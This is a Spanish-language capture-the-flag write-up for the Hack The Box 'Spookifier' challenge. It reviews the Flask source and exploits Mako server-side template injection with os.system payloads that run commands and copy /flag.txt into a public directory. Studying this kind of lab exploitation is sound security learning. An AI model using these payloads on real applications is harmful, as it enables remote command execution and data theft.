Spookifier
2 minutos de lectura
Se nos proporciona esta página web:
Podemos introducir un texto cualquiera y será mostrado en diferentes fuentes:
Análisis de código estático
Tenemos el código fuente en Python de la aplicación web, hecha con Flask. Este archivo es application/blueprints/routes.py
:
from flask import Blueprint, request
from flask_mako import render_template
from application.util import spookify
web = Blueprint('web', __name__)
@web.route('/')
def index():
text = request.args.get('text')
if text:
converted = spookify(text)
return render_template('index.html', output=converted)
return render_template('index.html', output='')
Lo primero que vemos es que se utilizan plantillas, pero usando mako
en lugar del habitual Jinja2.
La función spookify
básicamente utiliza un mapa entre caracteres normales y fuentes spooky. Sin embargo, la última transformación (font4
) mantiene el texto intacto:
def change_font(text_list):
text_list = [*text_list]
current_font = []
all_fonts = []
add_font_to_list = lambda text,font_type : (
[current_font.append(globals()[font_type].get(i, ' ')) for i in text], all_fonts.append(''.join(current_font)), current_font.clear()
) and None
add_font_to_list(text_list, 'font1')
add_font_to_list(text_list, 'font2')
add_font_to_list(text_list, 'font3')
add_font_to_list(text_list, 'font4')
return all_fonts
def spookify(text):
converted_fonts = change_font(text_list=text)
return generate_render(converted_fonts=converted_fonts)
Entonces, podemos realizar un ataque de Server-Side Template Injection (SSTI) mediante font4
.
Explotación
Para explotar la vulnerabilidad, podemos ir a PaylaodsAllTheThings
y buscar un payload de SSTI para mako
:
${self.module.cache.util.os.system("id")}
Vamos a probarlo:
Solamente muestra 0
, que es el código de error que devuelve os.system
. Mediante os.system
no podremos leer la flag directamente, pero tenemos ejecución de comandos, por lo que podemos copiar el archivo /flag.txt
en un directorio público:
${self.module.cache.util.os.system("cp /flag.txt /app/application/static/css")}
Flag
Y ahí tenemos la flag:
$ curl 161.35.174.99:30548/static/css/flag.txt
HTB{t3mpl4t3_1nj3ct10n_C4n_3x1st5_4nywh343!!}